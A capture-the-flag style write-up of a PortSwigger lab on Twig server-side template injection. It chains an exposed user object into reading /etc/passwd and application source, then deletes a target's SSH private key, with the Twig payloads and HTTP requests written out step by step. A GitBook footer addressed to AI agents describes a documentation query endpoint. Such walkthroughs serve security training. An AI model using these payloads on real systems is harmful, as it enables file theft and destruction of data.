> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssti-labs/lab-6.md).

# lab-6

## Server-Side Template Injection with a Custom Exploit

**Difficulty:** Expert

### Lab Description

This lab is vulnerable to server-side template injection (Twig). No documented sandbox-escape gadget is directly available, so the exploit chain has to be built by abusing application-specific objects exposed to the template.

**Objective:** Delete the file `/home/carlos/.ssh/id_rsa` using a custom SSTI exploit.

**Credentials:** `wiener:peter`

### Solution

**Step 1 — Identify the SSTI sink**

After logging in, post a comment on any blog post. Then go to **My account → Preferred name**. As established in an earlier lab, the parameter `blog-post-author-display` is vulnerable to SSTI — its value is rendered whenever comments are displayed on blog posts.

**Step 2 — Enumerate available objects**

Testing payloads against the vulnerable parameter shows that a `user` object is accessible within the Twig template context:

```twig
user
user.name
```

This confirms application objects are exposed directly to the template.

**Step 3 — Investigate avatar functionality**

Go to **My account → Upload avatar** and upload an invalid file. The resulting error message references:

```
user.setAvatar()
```

and discloses the underlying source file path:

```
/home/carlos/User.php
```

This is valuable on two fronts: it reveals a callable method, and it reveals the location of the application's PHP source code.

**Step 4 — Upload a valid avatar**

Upload a valid image so the application creates an avatar entry associated with the account — this is needed before `setAvatar()` can be meaningfully abused.

**Step 5 — Abuse `user.setAvatar()`**

Intercept the request that updates the preferred name, and set the vulnerable `blog-post-author-display` parameter to:

```twig
user.setAvatar('/etc/passwd')
```

Submit the request.

**Step 6 — Trigger template rendering**

Visit the comment page to trigger execution. The template throws an error indicating a missing MIME type argument — `setAvatar()` requires two parameters. Update the payload:

```twig
user.setAvatar('/etc/passwd','image/jpg')
```

Resubmit and reload the comment page; the template now executes successfully.

**Step 7 — Read arbitrary files**

Request:

```http
GET /avatar?avatar=wiener
```

The endpoint now returns the contents of `/etc/passwd`, confirming arbitrary file read.

**Step 8 — Read `User.php`**

Repeat the technique, this time pointing the avatar at the previously disclosed source file:

```twig
user.setAvatar('/home/carlos/User.php','image/jpg')
```

Trigger template execution by viewing the comment page again, then request:

```http
GET /avatar?avatar=wiener
```

The contents of `/home/carlos/User.php` are returned.

**Step 9 — Analyze the source code**

Reviewing the PHP source reveals a method, `gdprDelete()`, which deletes the current user's avatar file — a usable file-deletion primitive.

**Step 10 — Point the avatar at Carlos's SSH key**

```twig
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
```

Submit, then view the comment page to execute the payload. The application now treats `/home/carlos/.ssh/id_rsa` as the current user's avatar.

**Step 11 — Delete the file**

Invoke:

```twig
user.gdprDelete()
```

Submit, then reload the comment page to trigger execution. The application deletes the current avatar file — which is now `/home/carlos/.ssh/id_rsa` — solving the lab.

### Attack Chain Summary

```
SSTI
 ↓
Access exposed user object
 ↓
Discover user.setAvatar()
 ↓
Arbitrary file read
 ↓
Read User.php source code
 ↓
Discover user.gdprDelete()
 ↓
Point avatar at Carlos's SSH key
 ↓
Delete avatar
 ↓
/home/carlos/.ssh/id_rsa deleted
```

### Conclusion

SSTI doesn't always lead straight to remote code execution. Here, an exposed application object was chained through an arbitrary-file-read primitive into source code disclosure, which in turn revealed a file-deletion method — together forming a complete, indirect exploit path.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssti-labs/lab-6.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
